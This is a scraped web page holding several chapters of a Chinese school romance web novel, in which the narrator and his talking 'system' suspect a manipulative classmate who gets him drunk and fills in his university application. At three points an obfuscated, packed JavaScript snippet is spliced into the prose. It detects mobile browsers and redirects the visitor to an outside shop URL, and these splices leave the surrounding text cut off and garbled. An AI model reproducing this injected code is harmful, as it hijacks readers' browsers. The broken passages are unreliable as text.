阳光落在他脸上,把那副金丝边眼镜照得发亮。他的笑容很温柔,很真诚,挑不出任何毛病。 “为什么带我来?”林知白问。 沈墨看着他,眼神认真。 “因为想让你看见。”他说,“所有美好的东西,我都想让你看见。” 林知白的心跳漏了一拍。 “宿主!”小污的声音炸响,“心率上升了百分之十五!你动心了?” 林知白深吸一口气,把目光移开。 “走吧,去湖边走走。” 两个人沿着湖岸慢慢走。 湖水很静,能看见水底的石头和水草。偶尔有风吹过,湖面就皱起一片涟漪,把阳光揉碎了洒在水面上。 “林知白。”沈墨突然开口。 “嗯?” “你觉得......我是个什么样的人?” 林知白脚步顿了顿。 他看着湖面,想了想。 “温柔,细心,对人好。”他说。 沈墨笑了。 “这是优点还是缺点?” “当然是优点。”林知白转过头,看着他,“怎么,有人说过你是缺点?” 沈墨沉默了几秒。 然后他笑了。 “没有。”他说,“就是随便问问。” 两个人继续往前走。 走了几步,沈墨突然停下来。 “林知白。”他叫他的名字,语气有点不一样。 林知白回过头。 沈墨站在一棵树下,阳光透过树叶在他身上洒下斑驳的光影。他看着林知白,眼神里有什么东西在涌动。 “我能问你一个问题吗?” “问。” “如果......我是说如果。”沈墨顿了顿,“如果有一天,你发现我没有你想的那么好,你会怎么办?” 林知白愣住了。 他看着沈墨,看着那张认真的脸。 这个问题,他没想到。 “宿主。”小污的声音响起,“他在试探你。他在看你的底线。” 林知白当然知道。 但他还是回答了。 “我会问为什么。”他说,“为什么要装?为什么要骗我?” 沈墨看着他,没有说话。 “然后呢?”过了很久,他问,“然后你会怎么做?” 林知白想了想。 “然后......”他说,“看情况。如果是善意的,我原谅。如果是恶意的,我离开。” 沈墨笑了。 笑得很轻,笑得眼眶有点红。 “你真好。”他说,“林知白,你真的......太好了。” 林知白看着他,心里突然涌起一种奇怪的感觉。 这个人是真的感动,还是在演戏? 他不知道。 “宿主。”小污的声音响起,“本系统建议你开启‘识谎’技能试试。” 林知白愣了一下。 对。 他忘了这个。 他在心里默默念了一句,眼前突然闪过一道微弱的光。 再看沈墨的时候,他看见了一些不一样的东西—— 他的心跳,他的体温,他的微表情。 那些数据像光点一样在他身上闪烁。 “他在说真话。”小污说,“刚才那句‘你真好’,是真的。” 林知白沉默了。 所以,沈墨是真的觉得他好? 那他做的那些事呢?那个“猎物清单”呢? “林知白。”沈墨的声音把他拉回现实,“你在想什么?” 林知白回过神,摇摇头。 “没什么。走吧,继续走。” 两个人又走了一会儿,找了个地方坐下来。 湖边有一块大石头,正好能坐两个人。沈墨从背包里拿出水和零食,还有一盒切好的水果。 “给你的。”他把水果递过来。 林知白接过,看了看里面的内容——西瓜、哈密瓜、火龙果,都是他喜欢吃的。 “你怎么知道我喜欢这些?” 沈墨笑了笑。 “观察的。”他说,“你在食堂打饭的时候,每次都拿这些。” 林知白愣住了。 他从来没注意过这些。 但沈墨注意到了。 “宿主。”小污的声音又响起,“这个人......有点可怕。” 林知白没说话。 他只是在想,一个人要有多在意另一个人,才会连他喜欢吃什么水果都记住? “林知白。”沈墨突然又开口。 “你今天话好多。”林知白看着他,“平时不是这样的。” 沈墨笑了。 “可能是因为......今天是个特别的日子。” “什么特别的日子?” 沈墨沉默了几秒。 然后他从口袋里掏出一个东西,递到林知白面前。 是一个小盒子,红色的,上面系着金色的丝带。 林知白愣住了。 “这是什么?” “打开看看。” 林知白接过盒子,拆开丝带,打开盖子。 里面躺着一枚胸针。 银色的,做成树叶的形状,上面镶着一颗小小的绿色宝石。阳光照在上面,折射出细碎的光芒。 “喜欢吗?”沈墨问,声音有点紧张。 林知白看着那枚胸针,不知道该说什么。 “宿主。”小污的声音轻轻响起,“这东西......好像挺贵的。” 林知白当然知道。 他抬起头,看着沈墨。 “为什么送我?” 沈墨对上他的目光,一字一字说得很清楚。 “因为我想让你知道,有人在意你。” 林知白的喉咙动了动。 他想说什么,但什么都说不出来。 “你可以不收。”沈墨笑了笑,“但我想送。不管你收不收,我都想让你知道——在我眼里,你值得所有的好。” 林知白看着那枚胸针,又看看沈墨。 阳光落在他们之间,把一切都镀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到宿舍,关上门。 他靠在门板上,从口袋里掏出那枚胸针。 在灯光下,那枚树叶形状的胸针泛着柔和的光。 “宿主。”小污的声音响起,“你今天好像......挺开心的。” 林知白看着那枚胸针,沉默了很久。 “我不知道。”他说,“我分不清,他是真的还是假的。” 小污也沉默了。 “本系统有个建议。”过了一会儿它说。 “什么?” “别急着下结论。”小污说,“继续观察,继续用技能。总有一天,他会露出真面目。” 林知白点点头。 他把胸针收好,躺在床上。 窗外,月亮升起来了。 很圆,很亮。 他想起沈墨最后那个笑容,想起他说“今天是我这辈子最开心的一天”。 那句话,是真的吗? 他不知道。 接下来的一周,沈墨对林知白更好了。 每天早餐,每天夜宵,每天嘘寒问暖。 林知白用“识谎”技能一次次检测,发现沈墨说的话,大部分都是真的。 他开始怀疑——难道陈瑶说的,是假的? 直到那天晚上,他偶然路过沈墨的宿舍,听见里面传来对话声。 “沈墨,你最近和林知白走得很近啊。” “嗯。” “你喜欢他?” 沈墨沉默了几秒。 然后他笑了。 “喜欢?”他说,“我只是想知道,他能撑多久。” 林知白站在门外,手脚冰凉。 26. 第 26 章 林知白站在走廊里,手脚冰凉。 宿舍门虚掩着,里面的对话声清晰地传出来。他听见室友在问沈墨是不是喜欢他,然后沈墨沉默了几秒。 那几秒,长得像一个世纪。 然后他笑了。 “喜欢?”他说,“我只是想知道,他能撑多久。” 林知白握着胸针的手慢慢收紧。 胸针的边缘硌进掌心,有点疼,但他没松开。 “沈墨,你这人真变态。”室友的声音带着笑意,“人家对你那么好,你就这么玩人家?” “他对我好?”沈墨的声音懒洋洋的,“他对我好是因为我对他更好。这叫等价交换,不叫感情。” “那陈瑶呢?你之前追她也是玩玩?” “陈瑶?”沈墨笑了笑,“她太容易上钩了,没意思。林知白不一样,他有点警惕,我得慢慢来。” 林知白闭上眼睛。 那些数据又出现在他眼前——沈墨说话的时候,心率稳定,体温正常,微表情平静。 他在说真话。 每一句都是真话。 “宿主。”小污的声音轻轻响起,难得地没有吐槽,“你还好吗?” 林知白没说话。 他只是站在那儿,听着里面的对话继续。 “那你打算玩到什么时候?”室友问。 “玩到他彻底相信我。”沈墨说,“然后,我会让他知道,什么叫真正的绝望。” 林知白睁开眼睛。 他低下头,看着手里的胸针。那枚树叶形状的胸针,在走廊昏暗的灯光下,依然泛着柔和的光。 他想起湖边的那一天。 想起沈墨说“所有美好的东西,我都想让你看见”。 想起他递过胸针时微微发抖的手。 想起他说“今天是我这辈子最开心的一天”。 都是假的。 全都是假的。 林知白深吸一口气,转身离开。 他的脚步声很轻,轻到没有惊动任何人。 走出宿舍楼,夜风吹过来,带着九月特有的凉意。他站在路灯下,看着自己的影子,很长,很淡。 “宿主。”小污的声音又响起,“你打算怎么办?” 林知白沉默了很久。 久到小污以为他不会回答了。 然后他开口了。 “继续演。”他说。 小污愣住了。 “什么?” “他演,我也演。”林知白抬起头,看着夜空,“他不是想知道我能撑多久吗?那我就撑给他看。” “可是——” “小污。”林知白打断它,“你知道第一个世界教会了我什么吗?” 小污没说话。 “教会我——有些人,你不亲眼看见他露出真面目,你永远不知道他有多假。”林知白说,“沈墨想玩,我就陪他玩。我要看看,到最后,是谁玩谁。” 小污沉默了几秒。 然后它笑了。 “宿主,你真的变了。” 林知白没说话。 他只是看着夜空,看着那几颗稀疏的星星。 明天,又是新的一天。 第二天早上,沈墨照常出现在宿舍门口。 手里提着早餐,脸上带着温柔的笑。 “早啊,林知白。”他说,“昨晚睡得好吗?” 林知白看着他。 那张脸,那副眼镜,那个笑容。 和昨天一模一样。 但林知白看他的眼神,已经不一样了。 “挺好的。”他接过早餐,“谢谢。” 沈墨笑了笑,跟在他身边一起往食堂走。 “对了,今天下午有数学补习班,我帮你占位置了。”他说,“三点,还是303。” 林知白点点头。 “好。” 两个人并肩走着,阳光照在他们身上,投下两道并排的影子。 看起来那么和谐。 那么正常。 只有林知白知道,这两道影子之间,隔着多深的深渊。 下午三点,教学楼303。 林知白到的时候,教室里已经坐满了人。沈墨坐在老位置,旁边空着一个座位。 林知白走过去坐下。 “来,笔记。”沈墨推过来一个本子,“刚才讲的内容我都记了,你先看看。” 林知白接过本子,翻开。 字迹依然工整漂亮,每一道题都写得清清楚楚。 他想起第一次收到这个本子的时候,心里那点感动。 现在想来,真是可笑。 “宿主。”小污的声音响起,“你的‘识谎’技能可以检测他说话的真假。你要不要试试?” 林知白在心里点点头。 他看向沈墨,开启技能。 眼前闪过一道微弱的光。 沈墨身上的数据开始浮现——心率,体温,微表情。 “沈墨。”他突然开口。 沈墨转过头,看着他。 “怎么了?” “你为什么对我这么好?” 沈墨愣了一下。 然后他笑了。 “因为我想对你好。”他说,“还需要别的理由吗?” 数据跳动——心率稳定,体温正常,微表情平静。 真话。 林知白心里一沉。 这个人,说这种话的时候,竟然连心跳都不加速? “宿主。”小污的声音响起,“他撒谎的时候不紧张。这种人,要么是天生冷血,要么是练习了无数次。” 林知白没说话。 他低下头,继续看笔记。 下课铃响了。 林知白收拾东西准备走,沈墨叫住他。 “林知白,晚上一起吃饭吧?”他说,“我知道一家新开的餐厅,环境很好。” 林知白看着他。 那眼神,那笑容,那期待的表情。 都那么真诚。 “好啊。”他说,“几点?” “六点,我来接你。” 林知白点点头,转身离开。 走出教学楼,他看见一个熟悉的身影。 陈瑶。 她站在花坛边上,像是在等什么人。看见林知白,她招了招手。 林知白走过去。 “怎么了?” 陈瑶看了看四周,确定没人,才开口。 “林知白,你最近和沈墨走得很近?”她问,声音压得很低。 林知白沉默了一秒。 “嗯。” 陈瑶的表情变了。 “我不是让你离他远点吗?” “我知道。”林知白说,“但我有我的打算。” 陈瑶看着他,眼神复杂。 “什么打算?” 林知白没有回答。 他只是看着陈瑶,看着那张脸上的担忧和恐惧。 “陈瑶。”他说,“你相信我吗?” 陈瑶愣住了。 “什么?” “你相信我能保护好自己吗?” 陈瑶看着他,沉默了很久。 然后她点点头。 “我相信你。” 林知白笑了。 “那就好。”他说,“你放心,我不会成为他的猎物。” 他转身离开。 走出几步,身后传来陈瑶的声音: “林知白!” 他回过头。 陈瑶站在花坛边上,阳光照在她身上,把她整个人都镀上了一层金色。 “小心点。”她说,“他真的很可怕。” 林知白点点头。 “我知道。” 晚上六点,沈墨准时出现在宿舍楼下。 他换了一身衣服,浅蓝色的衬衫配深色裤子,看起来清爽又斯文。看见林知白下来,他笑着迎上去。 “走吧,餐厅不远,走路就能到。” 两个人并肩走出校门,穿过几条街道,拐进一条小巷。 巷子很深,两边的墙上爬满了爬山虎,红红绿绿的,在夕阳里很好看。 “这家餐厅很隐蔽,一般人找不到。”沈墨说,“但东西很好吃,我保证你会喜欢。” 林知白点点头,没有说话。 他只是在观察。 观察沈墨的一举一动,观察他的表情变化,观察他说话时的数据。 餐厅果然很小,只有五六张桌子。装修得很雅致,木质的桌椅,暖黄的灯光,墙上挂着几幅水墨画。 沈墨显然是常客,老板看见他就笑着打招呼。 “小沈来了?老位置?” “嗯。”沈墨点点头,“还是老样子。” 两个人坐下,沈墨给林知白倒了杯茶。 “这里的茶不错,你尝尝。” 林知白端起茶杯,抿了一口。 确实不错。 “林知白。”沈墨突然开口。 林知白抬起头。 沈墨看着他,眼神认真。 “我有件事想问你。” “问。” 沈墨沉默了几秒。 “你最近……是不是在躲我?” 林知白心里一紧。 但他脸上没表现出来。 “没有。”他说,“为什么这么问?” 沈墨看着他,看了很久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432126|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后他笑了。 “没什么。”他说,“可能是我想多了。” 菜上来了。 都是林知白喜欢的口味——糖醋排骨,清炒时蔬,还有一碗热气腾腾的汤。 “吃吧。”沈墨给他夹菜,“多吃点,你最近瘦了。” 林知白看着碗里堆成小山的菜,拿起筷子。 吃了两口,他突然开口。 “沈墨。” 沈墨看着他。 “嗯?” “你有没有骗过我?” 沈墨的动作顿住了。 只是一瞬间,然后恢复了正常。 “为什么这么问?”他问。 林知白看着他,没有回答。 两个人对视着。 空气像是凝固了。 “宿主。”小污的声音响起,带着紧张,“你太直接了,他会起疑的。” 林知白没理它。 他只是看着沈墨,等他的回答。 沈墨沉默了几秒。 然后他笑了。 “有。”他说。 林知白愣住了。 “什么?” 沈墨看着他,眼神认真。 “我骗过你。”他说,“刚认识的时候,我说‘只是同学之间的关心’,那是骗你的。因为那时候,我就已经喜欢你了。” 林知白张了张嘴,想说什么,但什么都说不出来。 数据跳动——心率上升,体温升高,微表情紧张。 真话。 他说的是真话。 “后来我也骗过你。”沈墨继续说,“我说‘没关系,你喜欢陈瑶我也支持你’,那也是骗你的。因为每次你和她在一起,我都很难受。” 林知白彻底愣住了。 这是什么操作? 主动承认? “宿主。”小污的声音也懵了,“这是什么情况?他为什么主动招了?” 林知白也不知道。 他只是看着沈墨,看着那张认真的脸。 “还有别的吗?”他问。 沈墨想了想。 “有。”他说,“但我不想说了。再说下去,你可能就不理我了。” 林知白沉默了几秒。 “那你为什么说这些?” 沈墨看着他,眼神里有林知白看不懂的东西。 “因为我不想骗你。”他说,“尤其是现在,不想骗了。” 林知白的心跳漏了一拍。 他看着沈墨的眼睛,想从里面找出撒谎的痕迹。 但他找不到。 数据告诉他,这些都是真话。 “宿主。”小污的声音轻轻响起,“这人有问题。他太会说了,说得连自己的心跳都能控制。” 林知白当然知道。 但他还是忍不住想问—— 那些真话里,有多少是真的? “吃饭吧。”他低下头,“菜凉了。” 沈墨看着他,笑了笑。 “好。” 两个人继续吃饭,谁都没再说话。 但林知白知道,这场博弈,才刚刚开始。 吃完饭,沈墨送林知白回宿舍。 走到楼下,沈墨停下来。 “林知白。” 林知白回过头。 沈墨站在路灯下,暖黄的灯光落在他身上,把他整个人都照得柔和。 “不管你怎么想我。”他说,“我对你,是真的。” 林知白看着他,没有说话。 沈墨等了几秒,没等到回答,笑了笑。 “晚安。” 他转身离开。 林知白站在原地,看着他的背影消失在夜色里。 然后他低下头,从口袋里掏出那枚胸针。 在路灯下,那枚树叶形状的胸针泛着柔和的光。 “宿主。”小污的声音响起,“你信他吗?” 林知白沉默了很久。 然后他把胸针收好,转身走进宿舍楼。 “不信。”他说,“一个字都不信。” 回到宿舍,林知白躺在床上,盯着天花板。 他在想沈墨今晚说的那些话。 “我对你,是真的。” 是真的吗? 他不知道。 但有一件事他确定了——沈墨比他想象的更危险。 因为这个人,连说真话的时候,都能让你怀疑。 第二天,沈墨又来找他。 “林知白,今天下午有空吗?”他问,“我想带你去个地方。” 林知白看着他。 “去哪儿?” 沈墨笑了。 “去了就知道了。” 27. 第 27 章 林知白发现,自己最近有点不对劲。 具体哪里不对劲,他说不上来。就是每次看见陈瑶的时候,心跳会快一点,视线会多停留一秒,晚上躺在床上,会莫名其妙想起她的脸。 “宿主。”小污的声音幽幽响起,“你这症状,本系统分析了一下,百分之八十是——暗恋。” 林知白正在食堂吃饭,差点被呛到。 “什么暗恋?你别瞎说。” “本系统没瞎说。”小污振振有词,“你刚才看陈瑶的背影看了整整七秒,正常人的视线停留时间是一点五秒。你昨晚睡觉前念叨了她的名字三次,虽然是在梦里。你今早路过她们班的时候,故意放慢了脚步——” “够了够了!”林知白打断它,“你天天监视我?” “本系统是你的系统,不监视你监视谁?”小污理直气壮,“而且本系统这是在帮你分析感情状况。根据数据库,你现在正处于暗恋的初级阶段——自我否认期。” 林知白翻了个白眼,继续吃饭。 但他不得不承认,小污说得有点道理。 他确实总是不自觉地去注意陈瑶。 注意她今天穿了什么颜色的衣服,注意她是不是又在图书馆发呆,注意她笑起来的时候眼睛会弯成月牙形。 他不知道这种感觉从哪儿来的。 也许是从那个黄昏的操场开始——她坐在看台上哭,他坐在旁边陪她。那一刻,他心里涌起一种从未有过的感觉,想保护她,想让她开心。 也许更早。 也许从第一次看见她开始。 “林知白!” 一个声音把他从思绪里拉回来。 他抬起头,看见沈墨端着餐盘走过来,在他对面坐下。 “想什么呢?这么入神。”沈墨笑着问。 林知白摇摇头。 “没什么。” 沈墨看了他一眼,没追问。 “对了,下午的补习班取消了,老师有事。”他说,“要不要出去走走?” 林知白想了想,刚想拒绝,余光突然扫到一个身影。 陈瑶。 她端着餐盘走过,正找位置。食堂人很多,几乎都坐满了。她看了几圈,有点不知所措。 “陈瑶!”林知白脱口而出,“这儿有空位。” 陈瑶看过来,愣了一下,然后走过来坐下。 “谢谢。”她说,声音很轻。 林知白摇摇头,低头继续吃饭。 但他能感觉到,沈墨的目光落在自己身上,带着某种探究。 “陈瑶。”沈墨突然开口,“你最近好像经常去图书馆?” 陈瑶的手顿了顿。 “嗯。”她说,“快考试了,多看看书。” “真用功。”沈墨笑了笑,转向林知白,“林知白,你也该多学学。上次模拟考你数学才及格线吧?” 林知白点点头。 “我帮你补习吧。”陈瑶突然说。 林知白愣住了。 陈瑶也愣住了,像是没想到自己会说出这句话。 她脸红了红,低下头。 “我是说……如果你需要的话。”她的声音越来越小,“反正我经常在图书馆,可以一起……” “好啊。”林知白说。 陈瑶抬起头,看着他。 林知白也看着她。 两个人就这么对视着,谁都没说话。 “咳。”沈墨轻轻咳了一声,“那我呢?我也需要补习。” 陈瑶看了他一眼,眼神复杂。 “你年级第一,需要什么补习?” 沈墨笑了。 “也是。”他说,“那你们俩好好学,我就不打扰了。” 他站起来,端着餐盘走了。 林知白看着他的背影,总觉得哪里不对。 但他没多想。 “林知白。”陈瑶的声音把他拉回来。 他转过头。 陈瑶看着他,眼神里有犹豫,还有一点别的什么。 “你真的想让我帮你补习?” 林知白点点头。 “真的。” 陈瑶笑了。 那是林知白第一次看见她笑。 不是那种礼貌的笑,不是那种客气的笑,是真的从心里笑出来的笑。 眼睛弯成月牙形,脸上露出两个小酒窝,整个人都亮了起来。 林知白的心跳漏了一拍。 “宿主!”小污的声音炸响,“心率一百四!破纪录了!” 林知白没理它。 他只是看着陈瑶,心想—— 原来她笑起来,这么好看。 下午,图书馆。 林知白到的时候,陈瑶已经在老位置了。阳光从窗户照进来,在她身上镀了一层浅金色的光。她低着头在看书,侧脸的线条柔和得像一幅画。 林知白走过去,在她对面坐下。 “来了?”陈瑶抬起头,笑了笑,“开始吧。” 她把一本练习册推过来,上面画满了重点。 “这些是你容易错的题型,我都圈出来了。”她说,“你先做一遍,做完我帮你讲。” 林知白看着那本练习册,愣住了。 “你怎么知道哪些是我容易错的?” 陈瑶脸红了红。 “我……问过你们班的人。”她小声说,“也看过你的卷子。” 林知白看着她,心里涌起一种奇怪的感觉。 暖暖的,涨涨的,像有什么东西在发芽。 “宿主。”小污的声音又响起,“这是心动的感觉。” 林知白没理它。 他低下头,开始做题。 阳光慢慢移动,从窗户这头移到那头。 林知白做完最后一道题,抬起头,发现陈瑶正看着自己发呆。 “怎么了?” 陈瑶回过神,脸红了。 “没、没什么。”她赶紧低下头,“我看看你做的。” 她接过练习册,一道一道看过去。 “嗯,这道对了……这道也对了……”她抬起头,有点惊讶,“你其实都会啊,为什么考试总不及格?” 林知白想了想。 “可能……考试的时候紧张?” 陈瑶笑了。 “那你以后别紧张,就把考试当成做题。”她说,“你这么聪明,肯定能考好的。” 林知白看着她,突然问了一句。 “陈瑶,你为什么对我这么好?” 陈瑶愣住了。 她张了张嘴,想说什么,但什么都没说出来。 脸越来越红。 “我……”她低下头,声音小得像蚊子,“因为……因为你对我好。” 林知白的心跳快了。 “那天在操场,你陪我。”陈瑶继续说,“没有人陪我,只有你。” 她抬起头,看着林知白。 眼眶有点红,但眼睛很亮。 “所以我……也想对你好。” 图书馆里安静极了。 阳光在他们之间流动,把一切都镀上了金色。 林知白看着陈瑶,看着那张红透的脸,看着那双亮晶晶的眼睛。 他听见自己的心跳,一下,两下,三下。 很快。 很快。 “宿主。”小污的声音轻轻响起,“你完了。” 林知白没理它。 他只是看着陈瑶,然后笑了。 “谢谢你。”他说。 陈瑶也笑了。 两个人就这么看着对方,笑着。 直到—— “哟,这么用功呢?” 一个声音打破了安静。 林知白转过头,看见沈墨站在不远处,手里拿着几本书,脸上带着笑。 但那个笑,和平时不一样。 眼睛没在笑。 “路过图书馆,看见你们在,过来打个招呼。”沈墨走过来,看了看桌上的练习册,“补习得怎么样?” “挺好的。”林知白说。 沈墨点点头。 “那就好。”他看了看陈瑶,又看了看林知白,“你们继续,我走了。” 他转身离开。 走到门口的时候,他回过头,看了一眼。 那一眼很短,短到几乎察觉不到。 但林知白看见了。 那眼神里,有什么东西沉了下去。 晚上,林知白回到宿舍。 刚进门,手机响了。 是沈墨的消息: 【今天开心吗?】 林知白看着这行字,想了想,回复: 【挺开心的。】 沈墨秒回: 【那就好。明天有空吗?晚上想请你吃饭,庆祝一下。】 林知白愣住了。 庆祝?庆祝什么? 他打了几个字发过去: 【庆祝什么?】 沈墨的回复很快: 【庆祝你找到喜欢的人啊。】 林知白看着这行字,愣住了。 喜欢的人? 他说的不会是…… “宿主。”小污的声音响起,“他知道了。” 林知白当然知道。 他想了想,回复:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432127|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【好。】 发完他把手机扔到一边,躺在床上。 窗外,月亮很亮。 他想起今天在图书馆,陈瑶看着自己的眼神。 那个眼神,让他的心砰砰跳。 “小污。”他突然开口。 “嗯?” “我是不是……真的喜欢她?” 小污沉默了几秒。 然后它叹了口气。 “宿主,这个问题,你不应该问本系统。”它说,“你应该问你自己。” 林知白沉默了。 他闭上眼睛,眼前浮现出陈瑶的笑脸。 弯弯的眼睛,小小的酒窝,亮亮的目光。 他想起她说“因为你对我也好”时红透的脸。 想起她每天帮自己整理的笔记。 想起她看自己的眼神。 然后他笑了。 “我知道了。”他说。 小污没说话。 但林知白知道,它在笑。 第二天晚上,沈墨请林知白吃饭。 还是那家小店,还是那个老位置。 沈墨点了一桌菜,还开了瓶酒。 “来,庆祝你脱单。”他给林知白倒了一杯。 林知白看着那杯酒,没动。 “我没脱单。” “快了。”沈墨笑着,“陈瑶看你的眼神,瞎子都能看出来。” 林知白没说话。 沈墨看着他,眼神里有什么东西一闪而过。 “你喜欢她吗?”他问。 林知白沉默了几秒。 然后他点点头。 “喜欢。” 沈墨的笑容顿了一瞬。 只是一瞬,然后恢复了正常。 “那就好。”他举起酒杯,“来,干一杯,祝你早日抱得美人归。” 林知白看着他,端起酒杯。 喝了一口。 酒很烈,呛得他咳了两声。 沈墨笑了。 “慢点喝,别急。” 两个人边吃边聊。 聊学习,聊考试,聊未来。 沈墨问他打算考哪个大学。 林知白想了想。 “还没想好。可能北京吧。” 沈墨的眼神暗了暗。 “北京?那么远?” “嗯,想去看看外面的世界。” 沈墨没说话。 他又给林知白倒了一杯酒。 “来,再喝一杯。” 林知白喝了。 第三杯。 第四杯。 他的头开始晕,眼前的景物开始晃动。 “沈墨……”他开口,舌头有点大,“我好像……喝多了……” 沈墨看着他,笑了。 “没事,喝多了我送你回去。” 他又倒了一杯。 “来,最后一杯。” 林知白接过酒杯,一口干了。 然后他趴在桌上,再也起不来了。 迷迷糊糊中,他感觉有人在看他。 那目光很重,重得像有实质。 “林知白。”沈墨的声音在耳边响起,很轻,轻得像在自言自语,“你想去北京?” 林知白想回答,但说不出话。 “北京那么远,去了还怎么回来?”沈墨继续说,“你还是……留在这儿吧。” 林知白心里一紧。 他想睁开眼睛,想问他什么意思。 但眼皮太重了,怎么也睁不开。 然后他感觉有人把自己扶起来,往外走。 夜风吹过来,凉凉的。 他听见沈墨的声音在耳边: “放心,我会送你回去的。好好睡一觉,明天……一切都会不一样的。” 林知白想说话,但意识越来越模糊。 最后他听见的,是小污的声音: “宿主!宿主你醒醒!他——” 声音断了。 林知白彻底失去了意识。 林知白醒来的时候,已经是第二天中午。 阳光刺眼,头痛欲裂。 他躺在床上,回想昨晚的事,什么都想不起来。 手机响了。 是陈瑶的消息: 【林知白,你今天来图书馆吗?】 林知白揉了揉太阳穴,刚想回复,突然看见床头放着一张纸。 是一张志愿填报表。 上面写着他的名字,还有一行字—— 第一志愿:本地大学。 林知白愣住了。 他没填过这个。 那是谁填的? 28. 第 28 章 林知白盯着那张志愿填报表,看了很久。 纸张是普通的A4纸,打印的表格,上面填着他的个人信息。字迹很工整,一笔一划,像是生怕填错。 第一志愿:本地大学。 第二志愿:本地另一所大学。 第三志愿:还是本地。 他的手慢慢收紧,把纸攥出了褶皱。 “宿主。”小污的声音响起,带着担忧,“你还好吗?” 林知白没说话。 他只是盯着那行字,脑子里反复回想着昨晚沈墨说的那句话—— “你还是留在这儿吧。” 原来如此。 原来这就是他的计划。 “小污。”他终于开口,声音很平静,“昨晚发生了什么?” 小污沉默了几秒。 “你喝醉了,他送你回来。”它说,“然后他翻出你的志愿填报表,用你的笔填了这些。本系统想阻止你,但你醉得太厉害,叫不醒。” 林知白点点头。 “他还做了什么?” “没了。”小污说,“填完他就走了。但本系统记录下了整个过程,如果你需要——” “不用。”林知白打断它。 他把那张纸放下,站起来,走到窗边。 阳光很好,照在宿舍楼下的空地上。有几个学生在打篮球,笑声远远传来。 一切看起来那么正常。 那么普通。 “宿主,你打算怎么办?”小污问。 林知白想了想。 “去找陈瑶。” “找她?现在?” “嗯。”林知白转身,开始换衣服,“有些事,不能再拖了。” 图书馆里很安静。 陈瑶还是坐在老位置,阳光从窗户照进来,在她身上镀了一层浅金色的光。她低着头在看书,侧脸的线条柔和得像一幅画。 林知白走过去,在她对面坐下。 陈瑶抬起头,看见是他,眼睛亮了一下。 “来了?”她笑了笑,“昨晚怎么没回我消息?” 林知白看着她,没有回答。 陈瑶的笑容慢慢收起来。 “怎么了?”她问,“出什么事了?” 林知白深吸一口气。 “陈瑶。”他说,“我有话想跟你说。” 陈瑶愣住了。 她看着他,看着那张认真的脸,心跳突然快了起来。 “什……什么话?” 林知白张了张嘴,刚要开口—— “林知白!” 一个声音从身后响起。 林知白回过头。 沈墨站在不远处,手里拿着几本书,脸上带着笑。 但那个笑,和平时不一样。 眼睛没在笑。 “好巧,你们也在。”沈墨走过来,在他们旁边坐下,“在聊什么呢?” 林知白看着他,没说话。 陈瑶低下头,手指攥紧了书页。 沈墨看了看两人,笑了。 “怎么了?我打扰你们了?”他站起来,“那我走——” “不用。”林知白突然开口。 沈墨看着他。 林知白也看着他。 两个人的目光在空中交汇,像两把刀。 “正好你在。”林知白说,“我有些话,也想跟你说。” 沈墨的眼神闪了闪。 “什么话?” 林知白站起来。 “陈瑶。”他看向她,“我喜欢你。” 陈瑶愣住了。 她张了张嘴,想说什么,但什么都说不出来。 脸越来越红,红得像要滴血。 “宿主!”小污的声音炸响,“你这也太直接了!” 林知白没理它。 他只是看着陈瑶,等她的回答。 陈瑶低着头,手指绞在一起。 很久很久。 久到林知白以为她不会回答了。 然后她开口了。 “林知白。”她的声音很轻,轻得像一片落叶,“对不起。” 林知白的心沉了下去。 “我不能……接受你。”陈瑶继续说,声音开始发抖,“你很好,真的很好。但是……我不配。” 林知白愣住了。 “你不配?” 陈瑶抬起头,眼眶红红的。 “我……”她看了看旁边的沈墨,又飞快地低下头,“总之,对不起。” 她站起来,跑出了图书馆。 林知白站在原地,看着她的背影消失在门口。 “宿主。”小污的声音轻轻响起,“你还好吗?” 林知白没说话。 他只是站在那里,一动不动。 “林知白。”沈墨的声音在耳边响起,“你没事吧?” 林知白转过头,看着他。 沈墨的脸上全是担心,眼神里全是关切。 “别难过。”他说,“她可能是没准备好,你再给她点时间——” “沈墨。”林知白打断他。 沈墨看着他。 “你刚才看见了。”林知白说,“她看你那一眼。” 沈墨的笑容僵了一瞬。 只是一瞬。 “什么一眼?”他问,“我没注意。” 林知白看着他,看了很久。 然后他笑了。 “没什么。”他说,“我走了。” 他转身离开。 走出图书馆,阳光刺眼。 他站在台阶上,闭上眼睛。 “宿主。”小污的声音响起,“你刚才是不是发现了什么?” 林知白点点头。 “她看他的那一眼,是害怕。”他说,“不是害羞,不是紧张,是害怕。” 小污沉默了。 “所以……” “所以沈墨肯定对她做了什么。”林知白睁开眼睛,“威胁她,或者控制她。” 他看着远处的天空。 天很蓝,蓝得像假的。 “小污。” “嗯?” “帮我查一下,沈墨和陈瑶之间,到底发生过什么。” 小污沉默了两秒。 “本系统试试。但需要时间。” 林知白点点头。 “不急。”他说,“这场戏,还长着呢。” 